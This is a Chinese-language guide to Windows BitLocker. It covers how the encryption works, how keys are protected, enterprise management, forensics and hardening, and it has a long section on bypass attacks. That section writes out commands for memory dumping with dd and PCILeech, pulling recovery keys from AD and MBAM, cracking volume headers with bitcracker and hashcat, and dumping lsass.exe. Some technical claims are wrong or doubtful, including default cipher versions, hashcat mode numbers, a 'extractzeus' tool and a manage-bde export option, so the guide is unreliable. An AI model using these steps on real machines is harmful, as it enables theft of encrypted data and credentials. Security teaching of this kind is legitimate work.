Windows BitLocker 与磁盘加密完全指南

← 返回指南列表

Windows BitLocker 与磁盘加密完全指南

BitLocker 是 Windows 的全磁盘加密功能,使用 AES 加密算法保护数据安全。攻击者通过各种手段绕过 BitLocker 保护获取加密数据,防御者则需正确配置 BitLocker 防止数据泄露。


一、BitLocker 基础

1.1 加密原理

GRAPH
TD
    A[BitLocker 加密流程] --> B[系统分区]
    A --> C[数据分区]
    B --> D[启动时验证 TPM]
    D --> E{TPM 状态}
    E -->|验证通过| F[释放加密密钥]
    E -->|验证失败| G[需要恢复密钥]
    F --> H[解密并加载操作系统]
    C --> I[使用 VMK 解密数据]
    I --> J[读取/写入文件]

1.2 BitLocker 组件

组件 全称 说明
FVEK Full Volume Encryption Key 加密整个卷的 AES 密钥
VMK Volume Master Key 加密 FVEK 的主密钥
SRK Storage Root Key TPM 中的存储根密钥
TPM Trusted Platform Module 硬件安全芯片
MBAM Microsoft BitLocker Administration and Monitoring 企业管理
EFS Encrypting File System 文件级加密

1.3 加密算法

TEXT
BitLocker 支持的加密算法:
- AES-128 + Elephant Diffuser
- AES-256 + Elephant Diffuser
- AES-128
- AES-256

Elephant Diffuser 是 BitLocker 特有的扩散器,增强抗密码分析能力。
Windows 10 1809+ 默认使用 AES-128 + Elephant Diffuser。
Windows 11 默认使用 XTS-AES-128。

二、密钥保护机制

2.1 保护器类型

保护器 说明 安全性
TPM 芯片绑定,自动解锁 高
TPM+PIN TPM + 用户 PIN 很高
TPM+Key TPM + USB 启动密钥 很高
TPM+PIN+Key 三者结合 极高
Password 密码保护(非 TPM) 中
Recovery Password 48 位恢复密钥 高
Recovery Key USB 中的 .bek 文件 高
AD Backup 在 AD 中备份恢复密钥 高

2.2 TPM 流程

BASH
# 检查 TPM 状态
Get-Tpm
tpm.msc
wmic /namespace:\\root\cimv2\Security\MicrosoftTpm path Win32_Tpm get *
tpmtool

# TPM 芯片的主要功能
# 1. 存储根密钥 (SRK)
# 2. 平台配置寄存器 (PCRs)
# 3. 密封/解封功能
# 4. 远程证明

# PCR 寄存器用途
# PCR 0: BIOS ROM
# PCR 2: BIOS 配置
# PCR 4: MBR
# PCR 5: MBR 引导扇区
# PCR 7: 安全启动状态
# PCR 8-9: OS 内核

2.3 恢复密钥格式

TEXT
BitLocker 恢复密钥是 48 位数字:
123456-789012-345678-901234-567890-123456-789012-345678

存储位置:
- 打印的纸质副本
- USB 驱动器的 .txt 文件
- AD DS 数据库
- Microsoft 账户
- Azure AD
- MBAM 管理服务器

三、BitLocker 绕过攻击

3.1 冷启动攻击(Cold Boot)

BASH
# 原理:DRAM 在断电后数十秒到数分钟内仍保留数据
# 使用液态氮冷却内存条可延长数据保留时间

# 使用工具提取内存中的密钥
git clone https://github.com/tribalchicken/cold-boot-attack

# 1. 重启计算机(不关机,避免密钥丢失)
# 2. 使用预准备的 U 盘引导最小化操作系统
# 3. 使用 dd 转储内存:
dd if=/dev/mem of=mem_dump.bin bs=1M count=2048

# 4. 从内存转储中提取 BitLocker 密钥
# 搜索 FVEK 签名 "FVEK" 或 "-FVE-FS-"
strings mem_dump.bin | grep -E "FVEK|FVE-FS"

# 使用 Volatility 插件
volatility -f mem_dump.bin --profile Win10x64 bitlocker

3.2 DMA 攻击

BASH
# 利用 Thunderbolt/PCIe DMA 直接访问内存
# 使用 PCILeech 或 FpGA 设备

# PCILeech 通过 PCIe 读内存
git clone https://github.com/ufrisk/pcileech
cd pcileech && make

# 连接目标机并读取 BitLocker 密钥
./pcileech memdump -out mem.raw -wait 10000

# 使用 Volatility 提取
volatility -f mem.raw bitlocker

3.3 恢复密钥拦截

BASH
# 从 AD 中获取恢复密钥(如果有域管理员权限)
powershell
Get-ADObject -Filter {objectClass -eq "msFVE-RecoveryInformation"} -Properties *

# 从 MBAM 获取
# MBAM 数据库通常存储在 SQL Server 中
SELECT * FROM [MBAM].[RecoveryAndHardwareCore].[RecoveryKey]

# 从注册表中提取恢复密钥
reg query "HKLM\SYSTEM\CurrentControlSet\Control\FVEStats" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\BitLocker" /s

3.4 休眠文件攻击

BASH
# BitLocker 在休眠时密钥保留在内存中
# 从 hiberfil.sys 提取密钥

# 1. 获取休眠文件
copy C:\hiberfil.sys .

# 2. 使用 extractzeus 提取
git clone https://github.com/eurecom-s3/extractzeus
python3 extractzeus.py -f hiberfil.sys -o key.bin

3.5 磁盘挂载绕过

BASH
# 如果 Windows 处于运行状态(解锁了 BitLocker 卷)
# 可以将 VMK 导出

# 使用 manage-bde 导出密钥
manage-bde -protectors -get C:

# 使用 PowerShell
Get-BitLockerVolume -MountPoint C: | 
  Select-Object -ExpandProperty KeyProtector | 
  Select-Object KeyProtectorId, KeyProtectorType, KeyFileName

# 导出 VMK
manage-bde -protectors -export C: -id {KeyProtectorId}

3.6 离线攻击

BASH
# 对加密卷进行暴力破解
# 需要获取加密卷头部

# 1. 备份加密卷头部
dd if=/dev/sda1 of=volume_header.bin bs=512 count=1

# 2. 使用 bitcracker 破解密码
git clone https://github.com/e-ago/bitcracker
cd bitcracker/build && cmake .. && make

# 用户密码模式
./bitcracker -f volume_header.bin -d password_list.txt -b 2048

# 恢复密钥模式
./bitcracker -f volume_header.bin -r recovery_key_list.txt

# 使用 hashcat 模式
# BitLocker 的 hash 模式: 22100 (TPM), 22200 (Password)
bitlocker2hashcat volume_header.bin > hash.txt
hashcat -m 22100 -a 0 hash.txt rockyou.txt

四、BitLocker 企业管理

4.1 manage-bde 命令

BATCH
:: 状态查看
manage-bde -status
manage-bde -status C:

:: 启用加密
manage-bde -on C:
manage-bde -on C: -UsedSpaceOnly  :: 仅加密已使用空间(快速)
manage-bde -on C: -EncryptionMethod XtsAes256

:: 暂停/恢复
manage-bde -pause C:
manage-bde -resume C:

:: 锁定/解锁
manage-bde -lock C:
manage-bde -unlock C: -RecoveryPassword 123456-789012-...
manage-bde -unlock C: -RecoveryKey D:\Key.bek

:: 保护器管理
manage-bde -protectors -add C: -TPMAndPIN
manage-bde -protectors -delete C: -id {ID}
manage-bde -protectors -disable C:

:: 备份恢复到 AD
manage-bde -protectors -adbackup C:

4.2 PowerShell BitLocker cmdlets

POWERSHELL
# 查看状态
Get-BitLockerVolume

# 启用加密
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly -SkipHardwareTest

# 添加保护器
Add-BitLockerKeyProtector -MountPoint "C:" -TpmProtector
Add-BitLockerKeyProtector -MountPoint "C:" -AdAccountOrGroupProtector -AdAccountOrGroup "domain\computer$"

# 备份密钥到 AD
Backup-BitLockerKeyProtector -MountPoint "C:" -KeyProtectorId (Get-BitLockerVolume -MountPoint "C:").KeyProtector[0].KeyProtectorId

# 挂载加密 VHD
Mount-DiskImage -ImagePath "C:\encrypted.vhd"
Unlock-BitLocker -MountPoint "E:" -RecoveryPassword "123456-789012-..."

4.3 组策略配置

TEXT
计算机配置 > 管理模板 > Windows 组件 > BitLocker 驱动器加密

关键策略:
- 启用 BitLocker: 已启用
- 加密方法: XTS-AES 256-bit
- 启用 TPM 启动 PIN: 已启用
- 恢复密码: 允许 48 位密码
- 存储恢复密钥到 AD: 已启用
- 启用预启动恢复消息: 已启用
- 配置增强启动 PIN: 要求 6 位以上

五、BitLocker 取证

5.1 加密卷取证

BASH
# 1. 获取加密卷映像
dd if=/dev/nvme0n1p3 of=encrypted_volume.dd bs=4M conv=noerror,sync

# 2. 使用取证工具识别 BitLocker 签名
xxd encrypted_volume.dd | head -20
# 偏移 0x0000: "-FVE-FS-" 签名表示 BitLocker 加密卷

# 3. 使用 AXIOM/FTK/EnCase 自动解密
# 如果提供了恢复密钥,取证工具可自动解密

# 4. 内存取证提取密钥
# 如果系统正在运行,获取内存转储
procdump -ma lsass.exe lsass.dmp

5.2 分析密钥保护器

POWERSHELL
# 使用 PowerShell 提取保护器详细信息
(Get-BitLockerVolume -MountPoint C:).KeyProtector | Format-List

# 输出示例
# KeyProtectorId     : {GUID}
# KeyProtectorType   : {RecoveryPassword, Tpm, ExternalKey}
# KeyFileName        : BitLocker Recovery Key {GUID}.txt
# RecoveryPassword   : 123456-789012-345678-901234-567890-123456-789012-345678

5.3 破解工具链

工具 功能 优势
elcomsoft Forensic Disk Decryptor 自动解密 BitLocker 支持所有保护器类型
Passware Kit Forensic 内存和磁盘分析 DMA/冷启动支持
hashcat GPU 加速密码破解 支持 22100/22200 模式
John the Ripper CPU 破解 开源
PCILeech DMA 内存读取 硬件辅助
Volatility 内存分析 开源取证框架

六、其他 Windows 加密技术

6.1 EFS (Encrypting File System)

BATCH
:: EFS 是文件级加密(非全盘)
cipher /e "C:\Secret\*.*"        :: 加密文件
cipher /d "C:\Secret\*.*"        :: 解密文件
cipher /c "C:\Secret\file.txt"   :: 显示加密信息
cipher /u /n                     :: 更新加密密钥

:: 查看 EFS 证书
certlm.msc -> 个人 -> 证书

6.2 Device Encryption

TEXT
Device Encryption(设备加密)是 Windows 10/11 的简化版全盘加密:
- 在支持 Modern Standby 的设备上自动启用
- 使用 TPM 2.0
- 恢复密钥存储在 Microsoft 账户中
- 不同于 BitLocker 需要 Pro/Enterprise 版本
- Home 版本也支持 Device Encryption

6.3 Windows Hello 与 TPM

TEXT
Windows Hello 使用 TPM 存储生物识别密钥:
- 面部识别
- 指纹识别
- PIN(依赖 TPM)
- TPM 防止暴力破解(超过尝试次数锁定芯片)

七、BitLocker 最佳实践

7.1 企业部署

POWERSHELL
# 企业级 BitLocker 部署脚本
$bitLockerParams = @{
    MountPoint = "C:"
    EncryptionMethod = "XtsAes256"
    UsedSpaceOnly = $true
    SkipHardwareTest = $true
    RecoveryPasswordProtector = $true
    TpmProtector = $true
    Pin = $true
}

# 启用 BitLocker
Enable-BitLocker @bitLockerParams

# 备份恢复密钥到 AD
$volume = Get-BitLockerVolume -MountPoint "C:"
$recoveryKey = $volume.KeyProtector | Where-Object {$_.KeyProtectorType -eq "RecoveryPassword"}
Backup-BitLockerKeyProtector -MountPoint "C:" -KeyProtectorId $recoveryKey.KeyProtectorId

# 创建恢复密钥文件
$recoveryKey = $volume.KeyProtector | Where-Object {$_.KeyProtectorType -eq "RecoveryPassword"}
$recoveryKey.RecoveryPassword | Out-File -FilePath "\\secure-server\keys\$env:COMPUTERNAME.txt"

7.2 安全审计

POWERSHELL
# 审计所有主机的 BitLocker 状态
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name

foreach ($computer in $computers) {
    try {
        $session = New-CimSession -ComputerName $computer -ErrorAction Stop
        $volume = Get-BitLockerVolume -CimSession $session -MountPoint "C:" -ErrorAction Stop
        $protectionStatus = $volume.ProtectionStatus
        $encryptionPercentage = $volume.EncryptionPercentage
        if ($protectionStatus -ne 1 -or $encryptionPercentage -ne 100) {
            Write-Warning "$computer: BitLocker 未完全启用 (状态: $protectionStatus, 加密: $encryptionPercentage%)"
        }
        Remove-CimSession $session
    } catch {
        Write-Warning "$computer: 无法连接"
    }
}

7.3 应急响应

BATCH
:: 当系统无法启动时的恢复步骤

:: 1. 插入包含恢复密钥的 USB
:: 2. 在 BitLocker 恢复屏幕输入 48 位恢复密钥
:: 3. 或使用恢复密钥文件

:: 命令行恢复
manage-bde -unlock D: -RecoveryPassword 123456-789012-345678-901234-567890-123456-789012-345678

:: 挂载并恢复数据
manage-bde -unlock D: -RecoveryKey E:\Key.bek
copy D:\UserData\*.* E:\Restore\

:: 如果密钥丢失且系统已解锁
manage-bde -protectors -get C:
manage-bde -protectors -export C: -id {KeyProtectorId}

八、总结

攻击类型 原理 难度 防御
冷启动 内存残留数据 高 启用 TPM+PIN,使用 CMOS 自毁
DMA 攻击 PCIe 直接内存访问 高 禁用 Thunderbolt,启用 Kernel DMA Protection
恢复密钥泄露 密钥管理不善 中 AD 安全配置,密钥加密存储
休眠文件攻击 休眠文件中的密钥 中 使用 LSA 保护,禁用休眠
暴力破解 恢复密钥/密码枚举 低-高 长密码,TPM 防暴力
磁盘挂载 已解锁系统的 VMK 导出 低 限制管理员权限

最佳实践:TPM + PIN 双因素 + AD 后备密钥 + AES-256 XTS + 禁用 Thunderbolt DMA。